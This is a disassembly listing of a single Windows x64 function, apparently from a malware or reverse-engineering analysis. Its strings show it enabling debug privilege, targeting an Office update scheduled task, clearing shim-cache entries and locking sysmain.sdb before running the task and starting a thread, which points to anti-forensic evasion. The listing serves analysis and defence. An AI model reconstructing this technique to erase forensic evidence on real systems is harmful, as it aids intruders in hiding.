Function at 0x1400c5a20
Capabilities:
Create thread

Disassembly:
jmp 0x1400eb5b0
push rbp
push rdi
sub rsp, 0x408
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402b1058]
xor rax, rbp
mov qword [rbp + 0x3c0], rax
lea rcx, [0x1402ce419]
call fcn.1400c7735
nop
call fcn.1400c6a6a
movzx eax, al
test eax, eax
jne 0x1400eb60e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.EnableDebugPrivilegeCurrentProcess_failed
call fcn.1400c4d50
lea rdx, str.Debug_privilege_enabled
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
mov r9d, 0xa
mov r8d, 0x65
lea rdx, [0x1402b3c08]
lea rcx, [0x1402b3b90]
call fcn.1400c77e9
lea rdx, [0x140261b38]
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
lea rdx, [0x1402b3b90]
mov rcx, rax
call fcn.1400c50fc
lea rdx, [0x140261b34]
mov rcx, rax
call fcn.1400c4c6f
lea rdx, [0x1402b3c08]
mov rcx, rax
call fcn.1400c50fc
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
lea rcx, [0x1402b3be0]
call fcn.1400c3da6
mov r9, rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400eb6ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateEventW_failed
call fcn.1400c4d50
lea rdx, str.Office_Automatic_Updates_2.0
lea rcx, [rbp + 0x28]
call fcn.1400c3d38
nop
lea rdx, str.MicrosoftOffice
lea rcx, [rbp + 0x68]
call fcn.1400c3d38
nop
lea rdx, str.Targeting_the_scheduled_task:
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.1400c50fc
lea rdx, [0x140261b34]
mov rcx, rax
call fcn.1400c4c6f
lea rdx, [rbp + 0x28]
mov rcx, rax
call fcn.1400c50fc
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x2c8]
call fcn.1400c3af4
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x3a0], rax
mov rdx, qword [rbp + 0x3a0]
lea rcx, [0x1402b3bb8]
call fcn.1400c562e
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400c6a5b
lea rdx, str.Removing_shim_cache_for
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
mov qword [rbp + 0x398], rax
mov r8, 0xffffffffffffffff
lea rdx, [0x140261b34]
lea rcx, [0x1402b3bb8]
call fcn.1400c573c
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rbp + 0x308]
lea rcx, [0x1402b3bb8]
call fcn.1400c32f2
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
mov rdx, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x398]
call fcn.1400c50fc
mov qword [rbp + 0x3b8], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c6484
nop
lea rcx, [rbp + 0x308]
call fcn.1400c6a5b
lea rcx, [0x1402b3bb8]
call fcn.1400c4440
lea rdx, str.C:windows_apppatch_sysmain.sdb
lea rcx, [rbp + 0xa8]
call fcn.1400c3d38
nop
lea rdx, str.locking
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
lea rdx, [rbp + 0xa8]
mov rcx, rax
call fcn.1400c50fc
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
lea rdx, [0x140261cf8]
lea rcx, [rbp + 0x348]
call fcn.1400c3d38
nop
lea r8, [0x1400c550c]
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0xa8]
call fcn.1400c4201
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0x348]
call fcn.1400c6a5b
cmp qword [rbp + 0xe8], 0
je 0x1400eba30
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x28]
call fcn.1400c57e1
lea rdx, str.task_ran
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400c6fba]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x108], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xe8]
call fcn.1400c3ce8
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
je 0x1400eb9bd
mov edx, 1
mov rcx, qword [rbp + 0x388]
call fcn.1400c5926
mov qword [rbp + 0x398], rax
jmp 0x1400eb9c8
mov qword [rbp + 0x398], 0
mov edx, 0x1388
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400eba30
lea rdx, str.WaitForSingleObject_for_thread_failed._error:
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
mov qword [rbp + 0x398], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a0], eax
mov edx, dword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x398]
call fcn.1400c757d
mov qword [rbp + 0x3a8], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x3a8]
call fcn.1400c6484
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0xa8]
call fcn.1400c6a5b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c6a5b
nop
lea rcx, [rbp + 0x28]
call fcn.1400c6a5b
nop
jmp 0x1400eba5e
lea rdx, str.done
lea rcx, [0x1402b40c0]
call fcn.1400c4c6f
mov qword [rbp + 0x398], rax
lea rdx, [0x1400c49db]
mov rcx, qword [rbp + 0x398]
call fcn.1400c6484
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14025fe20]
call fcn.1400c6808
mov eax, edi
mov rcx, qword [rbp + 0x3c0]
xor rcx, rbp
call fcn.1400c499a
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret